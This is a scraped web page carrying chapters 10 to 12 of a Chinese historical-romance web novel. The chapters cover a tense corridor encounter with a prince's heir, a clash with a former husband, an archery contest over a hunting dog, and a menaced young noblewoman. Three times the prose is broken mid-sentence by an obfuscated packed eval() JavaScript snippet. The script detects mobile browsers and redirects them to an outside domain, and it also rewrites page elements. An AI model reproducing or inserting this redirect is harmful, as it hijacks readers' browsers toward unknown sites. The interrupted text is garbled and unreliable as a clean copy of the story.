他的出现堵住了暗廊里所有光线,里面人轻呼一声。 狭小廊道,果然藏了人! 良久,他才幽幽开口,“虫姑娘,别来无恙。” 10. 第 10 章 “虫姑娘,别来无恙。” 阮栀此时此刻无比后悔自己的决定,躲在暗廊行偷窥之事,她是如何想的? 可这位物我两忘、宠辱不惊的端王世子倾尽一切办法为之求医之人,还是位女子,她实在是好奇之极。 然而当下她进退维谷,暗廊只有一个出口,且她是一时兴起躲藏在此处,并未有任何遮掩,故而她只要出去,端王世子就能认出她来。 阮栀只想以头撞墙。 “不出来了?” 阮栀一僵,一时想不出应对办法,只得装死不动。 随即一声轻嗤,“未料姑娘竟是好手段!” 是肯定不是疑问,阮栀能听出他声音里的嘲讽意味。 几个回合下来,她基本能断定暖香楼是端王世子的产业,那么毫无疑问,他指的是争夺萧无尘这件事。 “世子谬赞,”阮栀并不觉得愧疚,但觉得有必要解释一二,“世子有君子之风,先声夺人,其实几乎就要成功了,而妾一介女流,无甚所长,只是对男人的本性理解得更深刻一些而已。” 祝玄曦讶异一瞬,“哦?” “无非是上赶着的不如求而不得的,男人嘛,吊足胃口才觉新鲜。” 他似在认真回味她的话,良久才道:“照姑娘所言我倒输得不冤。” 阮栀挑眉,欣然接受。 暗廊里陷入沉默,他没有要走的意思。 阮栀试探,“世子…还有事?” 祝玄曦不答,侧开身子,环臂靠在一侧墙上。 原本被他遮挡的光线被放出一半,朝阮栀直射而来,阮栀生怕被他瞧见,慌忙以袖遮面。 祝玄曦一声轻笑,阮栀忍不住从袖子里露出一只眼睛偷瞧他。 起初有些刺眼,阮栀适应一阵后不由愣住。 直射进来的光束剪出他的侧影,金色线条自额际而下,经微凸眉骨、高挺鼻梁,至微抿唇线,再至刚毅下颌,线条流畅又不失力度,似有名家运笔,一气呵成。 阮栀不由想起前世人们对京城男子容貌的评价,那时裴言澈号称京城第一美男子,不过人们都会不厌其烦地在前面加一句“在端王世子隐世之后”。 世子在时,无出其右。 此刻的阮栀深以为然。 “当真不出来了?” 他声音很轻,带着些许玩味。 阮栀纠结一番,硬着头皮压着嗓子道:“世子有话不妨直说。” 许是见她依旧一动未动,没有要出来的意思,祝玄曦默片刻方道:“孤有一不情之请。” 阮栀诧异,她以为他是来揭穿或是报复她的,没想却是有求于她,“世子高看妾了,不知有何事是妾能够相助的?” “萧无尘有一瓶丹药,从不离身,孤只求一颗,还望姑娘能够相助。” 这就对了,愿来还是为了那病患。 堂堂端王世子竟为一粒丹药低头,方才因为窘迫压下去的好奇心腾地窜起,阮栀忍不住问:“敢问那位病患是世子何人?” 兀的,阮栀感觉周遭空气突然凝滞,身上汗毛竖起,身体不受控制地轻轻颤了一下,她心虚地朝他看去,就见他唇线紧抿,明显不悦。 死一般的寂静,阮栀甚至能听到自己慌乱的心跳。 在阮栀以为他就要冲进来把她揪出去时,他磁沉的声音传来,“为姑娘安危考虑,不知为善。” 语气平淡,阮栀却分明听出了其中的威胁。 若神医那丹药有用,她自然要留给三哥,怎会留给被人,这根本不是帮不帮的问题。 也不知哪里来的勇气,亦或是不愿对他撒谎搪塞,阮栀挺直腰背,提着一口气道:“此事非妾所能,恐负世子所托,还请见谅。” 阮栀说完也不敢看他的方向,面对墙壁,紧咬牙关,她手脚发虚,强忍着才不让自己颤抖,但她并不后悔自己说过的话,为了三哥,没什么好商量的。 也不知过了多久,暗廊蓦地一亮,他飞快离开,阮栀竟连脚步声都没听到。 丝缕阳光带着暖意透进来,阮栀缓了好久浑身知觉才归位,她长舒一口气。 …… 阮栀原以为被端王世子堵在暗廊里已经足够倒楣,不曾想今日否运还未穷尽。 待神医给三哥诊过病,她亲自送走三哥,又同秦娘一块儿处理了一些日常琐事,待要离开潇湘苑时已近申时末。 此时客人还不算多,但也有早早来应酬听曲的。 她方戴上帏帽欲走,就听楼下大堂一阵骚乱。 “发生了何事?” 玉川推门去看,“呀,楼下打起来了!” 阮栀蹙眉,客人之间起口角很常见,但这个时辰酒未入肠,着实是早了些。 秦娘匆匆上来,“楼下客人起了口角,都是不好惹的主儿,有人出去报信叫了官差,小姐快些离开为好。” 阮栀应声,拢了拢披风,同玉川一起往偏门而去。 至偏门需要穿过一条回廊再下楼,平日里都是下人往来的通道,外人鲜少会到这处,但楼下吵嚷声愈甚,对面廊道也传来“咚咚”的脚步声,为避免麻烦,阮栀加快了脚步,下去就安全了。 阮栀心神都在对面廊道的嘈杂声里,不想在楼梯拐角处与一人撞了个满怀。 来人身形修长,一身月白常服,阮栀心头猛然一惊,是裴言澈。 此刻顾不得其他,她只想快些离开,她向侧边跨出一步,拉着玉川就要往下走。 而后手腕处便是一紧。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15875721|176310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“是你!” 裴言澈的语气显然不是问句。 阮栀隔着帏帽瞪他,心中烦躁直想骂脏话,这些时日她能避则避但还是会经常遇上,这厮真是阴魂不散。 “裴大人请自重!”既认出了她,也无甚好遮掩的,阮栀大方承认。 这反应倒让裴言澈有些无所适从,刻在骨子里的规矩让他下意识松开钳制她的手。 阮栀轻笑,他一身常服显然不是来办差的,还从偏门走,洁身自好、克己复礼的大理寺丞今日来此,倒是有趣了。 阮栀心中烦躁尽去,她不急着走了,看他要如何。 只是这片刻停顿,裴言澈脑中已过了几个来回。 他确定前世她不会来青楼这等地方,随后又自我怀疑,她毕竟性子跳脱,爱玩也说不准。 这个时辰,她来作甚?何时来的?来了多久? 她怎能来这等下九流之地?她以后是要做他的侯夫人、丰国贤妻典范的,她怎能做这等会被外人诟病之事? 他回来之后,她的一切似乎都在脱离他的掌控,怎会如此? 当然,最直接的感受还是羞愤,故而脑中纷乱尚未理清楚,嘴上已下意识脱口而出:“你怎能来这种地方?” 明明白白大言不惭的质问,阮栀失笑,还真是不要脸,她反问:“何种地方?” 裴言澈气得嘴唇颤抖,似是难以启齿,声音是从牙缝里出来的,“此等,烟花之地。” 阮栀掩面轻笑,揶揄道:“竟不知大理寺权辖竟如此之广,连谁人进出这潇湘苑也要管了?” “你,你在此作甚?” “寺丞大人觉得,民女在此能做什么?” 裴言澈震惊于她的态度,曾经对她满眼崇拜钦慕的阮栀怎会如此对他说话,他下意识抬手触碰脖颈,他需要自己镇定下来,可脑中忍不住照她所言想下去。 来这里做什么?找乐子?还是见什么人?此等肮脏之地,哪里有她能瞧的东西! 阮栀双眼眯起,直直盯着他摸向脖颈的手,眼看着他脸色逐渐涨红,再由红变紫,心情异常舒畅,“闺中闲来无趣,来此地找点儿乐子,大人您呢?莫不是来查案的?” 见他气到语塞,阮栀拉着玉川象征性地屈膝福礼,“那便不打扰大人了,告辞。” 出了偏门,主仆二人等了片刻,见裴言澈并未追出来,这才进了遇仙楼。 “都说这裴大人克己奉公,品行高洁,还真是知人知面不知心呐!”因为“偶遇”过多次,阮栀从未给裴言澈好眼色,玉川自然也将他列入死乞白赖追求自家小姐那帮人的队伍之中,今日瞧他那模样,忍不住啐了一口。 阮栀苦笑,这位道貌岸然的伪君子,她可是花了一辈子时间才看清的。 11. 第 11章 丰英帝五十大寿,多国来朝,京城各地举办了各种集市庙会以示庆贺,其中最热闹还当属相国寺庙会。 宋景烟在家中养伤几日,差点闷坏了,一早约了阮栀去逛庙会。 晨曦初透,相国寺集市便已人声鼎沸。 穿过大殿前的百戏台子,两人照例先逛西廊的罗帛市,宋景烟买了不少珠翠头饰,阮栀买了一套胡服骑装,又淘到一条心仪的披帛。 “还是你眼光好,快披上试试。”宋景烟两眼放光催促着。 这披帛质地光滑柔软,织工极富异域风情,阳光下看去,整条织品都闪着细碎星光。 阮栀今日一身酂白留仙裙,披帛在肩,流光溢彩,莹然夺目,相得益彰。 “也太配了,仙子一般,”宋景烟瞧得一脸痴相,不住感叹,“我若是男子必定要娶了你,哎,也不知往后便宜了谁!” “我才不要嫁人,”阮栀浅笑,拉着她往前,“走,上大三门瞧瞧有何新奇玩意儿!” 相国寺庙会分不同区域经营各类商品,大三门那一片儿多是卖飞禽猫犬和奇珍异兽的。 猫市藤筐堆砌,青竹帘下,临安金丝虎琥珀瞳仁闪烁,临安乌云盖雪蜷成一团墨玉。 “这只跟你小时候养的雪团好像,再养一只?”宋景烟指着笼中一只白色狮猫道。 阮栀爱猫,幼时母亲曾送她一只通体雪白的狮猫,她成日形影不离,只可惜在她十岁那年病死了。 前世嫁进裴家之后她也有过养猫的念头,只可惜裴言澈有洁癖,根本没机会养。 再后来,她犯疯病被送到别庄,安嬷嬷曾偷偷给她买过一只金瞳狮猫,伴她度过了无数清苦时光。 不知为何,如今看着眼前温顺可人的狮猫,她没了往日的欣喜,反倒频频被另一侧犬市里昂然而立的一排细犬所吸引。 宋景烟随着她的目光望去,不由出声赞叹:“呀,好生威武!” 阮栀再也按耐不住兴奋,拉上宋景烟,“瞧瞧去!” 此时契丹犬贩正用半生不熟的官话介绍眼前的一排细犬。 “各位请看,此乃辽地训鹰人代代选育的最优品种,四肢修长似弓,疾奔可逐落日!听令,坐!” 一声令下,一排五条细犬应声而动,前肢撑地,后肢弯曲而踞,头如梭、腰如弓,脖颈修长,傲然仰首,优雅又难掩凶悍。 “瞧那条!”阮栀指向中间那条通体黑色,四爪和额间一抹白的细犬。 五条犬虽动作划一,但四周嘈杂,其余几条还是会受声音干扰,或抖动或转头,唯有中间那条,无论外界如何吵闹,它自岿然不动。 “姑娘好眼光,这条是犬王,最机敏威猛,也最守规矩,无令绝对纹丝不动。”犬贩见阮栀有意,卖力推销。 阮栀盯着黑犬那深邃如墨的双瞳,有些移不开眼,她正欲问价,就听旁边一女声道:“当真无令不动?” 那声音有些熟悉,阮栀转头瞧去,果然是冤家路窄,是林胡公主萨雅。 一旁宋景烟一见萨雅就来气,忍不住朝天翻了个大大的白眼。 犬贩见萨雅一身异国贵族行头,不敢得罪,低头哈腰,连连应是。 萨雅狡黠一笑,“那本公主可要试试喽!” 说着她手向后一伸,就有婢女递上弓箭。 犬贩见状慌了,“贵人您这是何意?” 萨雅搭箭,作势瞄准。 到底是专门用来狩猎的细犬,虽然弓弦还未拉满,已然敏锐感应到来自对面的威胁。 最边上两条细犬尾巴如箭般竖起,双瞳紧盯萨雅手中羽箭,轻吠两声,而中间那条黑色犬王依旧一动不动。 萨雅嗤笑一声,弓弦拉满。 这下吠声如沸,有一条细犬后肢撑地惊慌颤抖着站了起来。 萨雅将箭头瞄准最中间依旧不动如山的黑犬,黑犬一双黑瞳也锁定在萨雅身上,好似在看猎物一般。 一切似乎一触即发,阮栀猜想萨雅应该不会真的射杀那条黑犬,当然,即便真的射杀,那黑犬也不像是好惹的。 余光所及之处,萨雅身边的护卫也抬箭瞄准了黑犬,准备随时补箭,阮栀不禁皱眉。 “贵人使不得,使不得啊!”犬贩见状无助摆手,这可是他训练多年压箱底的好犬,本想趁这盛会卖个好价钱,怎料会出这档子事。 “老板,这黑犬我要了!”阮栀适时出声,不怕一万只怕万一,她着实喜欢那条黑犬,萨雅今日目的无非是想挑衅自己,她不愿伤及无辜,一条细犬也不行。 犬贩怔愣一瞬,意识到她在帮他解围,连忙应声,“好,好……”,作势要去牵狗。 “站住!”萨雅怒喝,箭头转向试图靠近细犬的犬贩。 犬贩一惊,立时顿住,吓得腿脚发软,进也不是,退也不是。 “堂堂林胡公主,这是存心挑事吗?”宋景烟见状也忍不住了,试图上前阻止。 阮栀拦住宋景烟,朝犬贩扔去一个钱袋,转头看向萨雅,“公主,这细犬我买下了,还请莫要为难。” “真扫兴,本公主不过是帮你试试这条狗而已”萨雅挑眉,忽而笑起来,“哦对了,听闻阮家大小姐不仅骑术了得,箭术亦是高妙,不如同我比试一番?” “比自然可以,但不能伤了我新买的细犬。” 萨雅闻言有些意外,“你倒不似那帮虚伪的中原人,万事都要谦虚一番。” 阮栀淡笑,“我箭术不差,没什么好遮掩的。” “就是,让她见识见识什么叫箭术!”宋景烟给了萨雅一个不屑的眼神。 “好!”萨雅再次向后伸手,婢女从随身包袱里掏出一只鲜红苹果递上。 萨雅将苹果扔给犬贩,“去,让那犬顶着。” 犬贩接过苹果,犹豫着瞧瞧萨雅,又看看阮栀,阮栀不着痕迹地点头,他这才将苹果置于黑色细犬头顶。 没有起身的命令,黑犬依旧巍然不动,只是黑如曜石般的双瞳更深了几分。 身后萨雅的护卫给阮栀递上一副弓箭,阮栀接过,就听萨雅道:“那本公主先来!” 说是比试,可怎么比、如何比、怎么算赢都未说明,直接就上了,这摆明了是在耍人。 阮栀看向萨雅,就见她唇角上翘,原本瞄准苹果的箭尖微微下移,对准了黑犬两瞳之间。 黑犬亦感受到了死亡威胁,犬身稳如磐石,喉尖发出低沉吼声,似是警告。 “蠢狗!”萨雅面露不屑,满弓放箭。 此时阮栀已来不及搭箭来射,索性直接将手中羽箭掷出。 顷刻之间,她掷出的羽箭朝萨雅射出的羽箭而去,同一时间,那黑色细犬如箭一般飞射而出,直扑萨雅而来。 “叮!” “啊!” 箭尖相触的声音和萨雅的惊叫声同时响起。 时间似乎凝滞了一瞬,直到萨雅公主带着恐惧的胡语声传来,她双眼满是惊恐,吓得忘了说官话。 阮栀不懂胡语,但也能大概猜到她在呼救。 然而那黑色细犬后肢踩在萨雅腰侧,前肢抵住她的双肘,是一副强悍压制的状态。 “哈!真是活该!”宋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15875722|176310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 景烟脸上的幸灾乐祸根本遮掩不住。 萨雅的护卫见状纷纷瞄准黑犬,似是在犹豫,他们毕竟刚刚见识过这条犬王的神速,真真风驰电掣一般,到底是箭快还是犬王动作快,他们不敢赌,故而此时不敢轻易动手。 毕竟是邦国公主,阮栀自然不愿萨雅出事,忙示意身后的犬贩,“如何让它下来。” 犬贩向阮栀示范了一遍,右手掌心向上抬,朝着黑犬道:“放!” 黑犬听到犬贩指令,后肢动了动,但萨雅护卫的箭对着它,它依旧维持着钳制姿态没有放开。 “放下箭。”阮栀朝护卫喊道。 护卫犹豫着看向萨雅,萨雅又气又急,眼泪在眼眶里打转,咬牙点头。 黑犬危机解除,阮栀尝试靠近,再次重复犬贩教授的动作,右手掌心向上抬起,“放!” 黑犬一双黑瞳扫向阮栀,阮栀脑海中闪过两个字,冷傲,仿佛在审视她是否够格做它的主人一般。 阮栀感觉这一眼用了很久,在她以为自己下令失败时,黑犬朝萨雅一侧轻盈一跃,细长四肢无声落地。 它竟这么放过了萨雅。 惊喜又忐忑,阮栀不知如何奖励它,试探着伸手想摸摸它的头,黑犬鼻尖发出类似“哼”的声音,不过它并未躲闪,由着阮栀揉了揉。 “真乖!” 阮栀拍拍它光洁的头,转而伸手要去拉萨雅公主。 宋景烟伸手拦了一下,“她处处为难你,拉她作甚,让她自己起来!” 阮栀知她是为自己抱不平,安抚道:“遇到一回斗一回我还嫌烦,不如从根源上解决问题!放心!” 她凑近萨雅,再次向她伸出手。 萨雅心里有气,自然不会接受她的示好,然而她身后的婢女护卫想要上前搀扶都被黑犬低吼着喝退了。 仰面躺了半天好一会儿,此时周边围了不少看热闹的人,萨雅终是面子上挂不住,伸手搭在了阮栀手上。 阮栀弯唇,双手扣住她的手腕,一个用力将她拉起。 “比箭术是我赢了,公主可有异议?” 这话无疑是给萨雅添堵,她狠狠瞪她一眼,扭头抿唇不语。 萨雅本就是爽利性子,阮栀的直来直去其实很对她胃口,方才那一箭她也输得服气,只是样样输给她,她不甘心,一想到裴郎君看她的眼神,心中嫉妒便压不住。 阮栀伸手帮萨雅拍去后背灰尘,萨雅作势要推开,就听到阮栀压低了的声音,“都说裴家大郎有洁癖,见不得浑身脏污的女子,听闻今日庙会大理寺派了人巡视,若是撞见裴大人就不好了……” 萨雅手一顿,双眉拧起,示意身后婢女帮她清理,同时略带惊慌地四下张望,仿佛裴言澈随时都会出现一般。 “呀,这块怕是擦不干净了……”阮栀瞧见萨雅手肘处一块狗爪形状的脏污,讪讪道。 婢女用沾湿的帕子用力擦着,但收效甚微,萨雅脸色逐渐难看。 阮栀适时示好,“我刚买了套胡服,你我身形相仿,不若去旁边茶楼休憩更衣?” 刚好不远处一队巡逻的官兵走过,萨雅紧张扫一眼,没见着裴言澈,稍松一口气,转而又语带狐疑地看向阮栀,“你有那么好心?” “公主尽可放心,我对裴大人绝无男女之情。”阮栀凑近了萨雅,声音很轻,却无比笃定。 萨雅有些惊讶,但心中狐疑不减地望向她。 阮栀见周围围观的人越来越多, 阮栀浅笑,“至于缘由嘛……先更衣,待我慢慢说与公主听。” …… 12. 第 12 章 不远处茶楼雅间内,祝玄曦兄妹二人对面而坐。 约摸半个时辰之前,祝熹宁的贴身丫鬟喜乐眼尖,瞧见楼下不远处的犬市围了一圈人,兴奋地叫了起来,“呀,那不是阮家小姐和林胡公主吗?看样子要打起来了!” 喜乐可谓是端王府的“百晓丫鬟”,府里府外没有她不晓得之事,她有王爷王妃给的特权,平日里四处转悠,将每日见闻讲给郡主听。 马球赛那日的盛况喜乐与郡主讲过无数次,主仆二人时常将英姿飒爽的阮家小姐挂在嘴边,一听热闹源头是阮家小姐,祝熹宁急着央求兄长与她解说实况。 瞧着妹妹期待的神情,祝玄曦心中不畅,若眼前这俩丫头知晓那潇湘苑主和阮家小姐是同一人,还不要乐翻了天? 想起那日潇湘苑中情形,他依旧气闷,他不过所求一粒药丸而已,若不是萧无尘那厮软硬不吃且狡诈心狠,他早就抢了来,还用求她? 对妹妹的要求他从来都是有求必应,今日心头不爽眼不见为净,于是将解说的活儿扔给了喜乐。 他无意看这场闹剧,奈何丫鬟喜乐发挥所长,将整个来去经过描述得绘声绘色,听着熹宁与喜乐一惊一乍的讨论,他还是被迫围观了全程。 “马球赛时林胡公主便处处为难阮姑娘,什么仇什么怨啊!” “这黑色细犬也太威风了!” “林胡公主也骄横态度,也不瞧瞧如今身在何处!” “阮姑娘不仅骑术了得,原来箭术更厉害呢!” “是呀,如此飒爽豪气、不拘小节的女子,在咱们丰国真是少有,阿兄你说是不是?”祝熹宁激动转头寻求兄长的认可。 祝玄曦瞧着两眼放光的妹妹,不情不愿“嗯”了一声。 目光转回人群中心那抹酂白,他不得不承认,那丫头准头着实不错,挑细犬的眼光亦然。 只是她这待字闺中的大小姐,也不知要那凶悍的细犬作甚,转念想起她在青楼左右逢迎的样子,大言不惭地说她比他更了解男人,好似又不那么惊讶了,她行事总是与这世间寻常女子不同。 对于阮栀,“疯”是祝玄曦脑海中第一个跳出来的字,他心中不由嗤笑一声。 随即脑海中现出一只张牙舞爪的花狸猫模样,这花狸收了一条玄黑细犬,想想这画面便荒唐可笑得紧,他正举杯饮茶,猝不及防被自己的想法呛到了。 “咳咳……” “阿兄怎么了?”祝熹宁关切地问。 “无事。” 祝玄曦接过妹妹递过来的绢帕,轻拭唇角,思绪依旧在阮栀身上。 当真是个疯丫头,跟规矩丝毫不沾边,奈何喜欢她的人还不少。 祝玄曦唇角微撇。 四皇子这些时日没少找人打听她,就连从不愿与外人交往的熹宁每每提到她都难掩钦羡,还有那一位…… 祝玄曦余光扫过犬市边上的赤色身影,双眼眯起,这位就有趣了。 裴松卿,吏部裴郎中之子,淑妃的亲外甥,据说自小师从外祖父傅望山。 傅望山曾为先帝之师,为人规矩刻板,行止拘方,人前俨然是端方君子,这裴松卿深得其外祖真传。 自马球赛那日他便注意到他,公务繁忙的大理寺丞,却总会时不时在阮家大小姐所到之处出没,他虽从未见过二人有交流,但裴松卿偶尔不经意流露出的灼热眼神骗不了人。 如此规行矩步、迂腐不化之人,怎就看上了这疯丫头?! 须臾,楼下好戏散场,也不知阮家小姐凑近林胡公主耳边说了什么,原本剑拔弩张的两人此时一同走出了犬市。 “热闹瞧完,该回府了。”祝玄曦意识收回,突觉心绪不佳,他推开茶盏,见外面人愈发多起来,催促妹妹离开。 熹宁一向乖巧,“阿兄稍等,方才茶饮多了,容我与喜乐更衣补妆,去去便回。” 祝玄曦点头,叮嘱喜乐,“寸步不离,多看着些!” 他们所在的这间漱玉茶坊清净雅致,多是贵人聚集之处,然而今日庙会热闹非凡,连这茶坊都已宾客满堂,唯一的两间净房门口此时挤满了女眷。 祝熹宁自打幼时中毒之后便极少出门,京城中认识她的人几乎没有,中毒之事端王府也从未对外提及,故而外界无人知晓她的眼疾。 四月的天气变化多端,今日艳阳高照,已有夏日炎热之感,在空间不大且人满为患的茶楼里更是闷热不已。 茶楼有人架起了屏风,给在净房外等候的女眷们留出一块私密场地,许多女眷挽起长袖,更有甚者半褪了褙子摇扇解暑,故而全副武装带着帏帽的祝熹宁在人群中便格外突兀。 即便视线模糊,祝熹宁还是感受到了来自周围探究好奇的目光,紧张局促之间更添燥热。 “叫你们管事的来,就这两间净房怎么够,都要憋死了!”有性子泼辣的丫鬟扬声喊起来。 一位衣着华丽的管事婆子快步过来,“夫人小姐们稍安勿躁,茶坊为贵人们在楼下不远处又辟了两间净房,着急的贵人们可跟奴婢下去。” “不在这茶坊里?” 管事婆子尴尬点头,随即解释道:“不算远,走过半条街便到了,那里胜在干净人少。” 听闻要走半条街,多数人都打了退堂鼓。 “还是在此处再等会儿吧!” 祝熹宁主仆二人也未动,只是随着周遭打量目光和窃窃私语声愈来愈盛,她紧张得冒汗。 “咱们还是下去吧,这么等也不知要等到何时。”祝熹宁在喜乐耳边轻声说道。 “行,有奴婢在小姐不用怕!”喜乐早就憋不住了,自是万分同意,于是喊了管事婆子带她们下楼。 管事婆子将她们引至茶坊后门的青石小道,果真如她所说的十分僻静,几乎无人往来,只是两边都是联排小楼,挡去了大半天光,有些阴暗。 沿小道转过两个弯就到了净房,明显有刚刚打扫过的痕迹,很是干净。 “便是这一处了,此地只这来时一条道,另一头是个小鱼池,再过去便是院墙,安全得很,贵人稍后原路返回便可!若无吩咐奴婢先回去忙了。”管事婆子交代利索,见祝熹宁点头便转身离开。 “小姐……”喜乐两腿交替点着地,脸憋得通红。 祝熹宁会意,伸手推她,“你赶紧先去,我等你出来再进去。” “唉!”喜乐提起裙子,小跑着入了净房。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15878207|176310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 祝熹宁借着模糊的视线摸到旁边一根柱子站定,静等喜乐出来。 此地僻静,祝熹宁隐隐瞧见不远处由白色砖石围起来的鱼池和青灰院墙,净房两旁种了一小片竹子,有微风徐来,只有竹叶发出的“沙沙”声,祝熹宁莫名有些害怕。 “喜乐?” “诶,这就来!” 听见喜乐回答,祝熹宁放下心来,“不着急。” 须臾,隐隐听到有脚步声传来,祝熹宁凝神细听,并不是净房的方向,她猜测许是又有女眷前来,隔着帏帽朝原路看去,可惜什么也瞧不清楚。 她掀开帏帽上的薄纱,这次能隐隐瞧见人形,不过只有一人。 她秀眉微蹙,一般女眷都会由丫鬟婆子相陪,这一人……她再次仔细瞧去,还是只有一模糊人形,高矮胖瘦都难以判断。 于是她拉下帏帽,躲到柱子后方,尽可能隐住身形,此时她不敢出声怕引人注意,只盼着喜乐快些出来。 “嗒嗒……嗒嗒……”脚步声由远及近,来者似乎很是闲适,但略重的步态听起来不似女子的。 祝熹宁一颗心提起,一动不敢动。 正当她屏气凝神之际,只见黑影一闪,来人已到了近前,这下即便视线模糊她也能确定眼前是个人高马大的男子。 帏帽被粗鲁挑开,祝熹宁吓得魂飞魄散,然而因为太过害怕,惊叫卡在嗓子眼里,根本发不出来。 这时喜乐的声音传来,“小姐?” 祝熹宁张口想要呼救,就见眼前之人手指在唇边竖起,随后滑到脖颈处比了一个砍的动作,因为太近,即便看得不甚清晰她也明白了对方意思。 出声就杀了你。 “小姐,奴婢这就来了!” 此刻祝熹宁又急又怕,眼前之人身材魁梧,而喜乐只会一些三脚猫功夫,出来反倒多一份危险。 来人似乎看到了她的心声,只听“咔哒”一声,他慢悠悠将挂在净房门口的锁扣落下。 喜乐正要推门,很快发现门推不开,有人从外头落了锁。 “小姐?小姐!”喜乐声音明显慌了,边拍门边大声喊起来。 祝熹宁吓得双腿发软,不由自主向后退了两步,而眼前模糊的黑影也朝她逼近两步。 “你……你要做什么?”她颤抖地发出声音,很轻,却已用尽全部力气。 脸颊处倏地触到一丝冰凉,祝熹宁控制不住抖了抖身子,这才意识到是来人的手指。 她依稀记得身后是鱼池,她判断不了距离,后退的步子踟躇起来。 这犹豫正好给来人创造了条件,冰冷手指更加肆无忌惮又带着丝逗弄地划过她的脸颊。 来人从头到尾不发一声,加上脸上冰凉的触感,更加令人恐惧。 祝熹宁侧头试图躲避那只手的触碰,就被另一只手箍住了下巴,冰凉的手指在左边脸颊处更加肆无忌惮地滑动揉捏起来。 祝熹宁抖如筛糠,眼睛一热,什么都看不见了。 “何人?”身后突然传来女子声响。 祝熹宁只觉是天籁,恐惧恶心到极点之后反倒顾不得安危与否了,她用尽全力出声呼救,“救……救命!”